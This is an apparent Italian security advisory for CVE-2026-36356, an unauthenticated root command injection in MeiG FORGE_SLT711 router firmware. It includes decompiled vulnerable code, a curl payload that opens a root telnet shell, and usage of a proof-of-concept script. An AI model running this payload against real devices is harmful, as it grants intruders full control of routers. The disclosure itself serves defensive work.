
CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead - Iniezione di comandi OS non autenticata (RCE come root)
/action/SetRemoteAccessCfg)Il server web GoAhead incluso nei dispositivi CPE 4G LTE MeiG Smart FORGE_SLT711 espone un endpoint HTTP non autenticato, /action/SetRemoteAccessCfg, che interpola l'input JSON controllato dall'utente in un comando shell senza sanificazione. Una singola richiesta POST non autenticata esegue comandi arbitrari come root.
Due cause principali indipendenti: una voce di route di autenticazione mancante e una costruzione non sicura sprintf() → system() nell'handler.
MDM9607.LE.1.0-00110-STD.PROD-1 (firmware modem BC-MGST711H_1.1.1_EQ101)/usr/bin/goahead)Il codice vulnerabile si trova nell'action handler personalizzato di MeiG, non nel GoAhead upstream. Altre versioni firmware di questa linea di prodotti sono probabilmente interessate; non verificato in modo indipendente.
| Dispositivo | Ortel 4G LTE CPE (OEM: MeiG FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| Kernel | Linux 3.18.48 |
| Firmware | MDM9607.LE.1.0-00110-STD.PROD-1 |
| Data |
La configurazione delle route di GoAhead /var/www/route.txt elenca le route autenticate (righe 64–150) usando auth=basic. /action/SetRemoteAccessCfg non è in questo elenco. L'instradamento ricade sul catch-all alla riga 156:
route uri=/action handler=action
La regola catch-all non ha auth=basic, quindi qualsiasi client HTTP può invocare /action/SetRemoteAccessCfg senza credenziali.
L'handler all'offset 0x0003c6d8 di /usr/bin/goahead si decompila nel seguente codice:
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
Il campo password viene interpolato all'interno di doppi apici. La sostituzione $(...) e i backtick `...` vengono espansi all'interno dei doppi apici, quindi un attaccante controlla il comando shell. system() viene eseguito come uid=0 perché il processo GoAhead gira come root. Nessuna validazione dell'input, nessun escaping, nessuna whitelist di caratteri.
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)

poc_rce.py (pubblicato insieme a questo advisory):
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
Lo sfruttamento è alla cieca — l'output del comando non è nella risposta HTTP.
password: 64 byte| 2026-02-21 |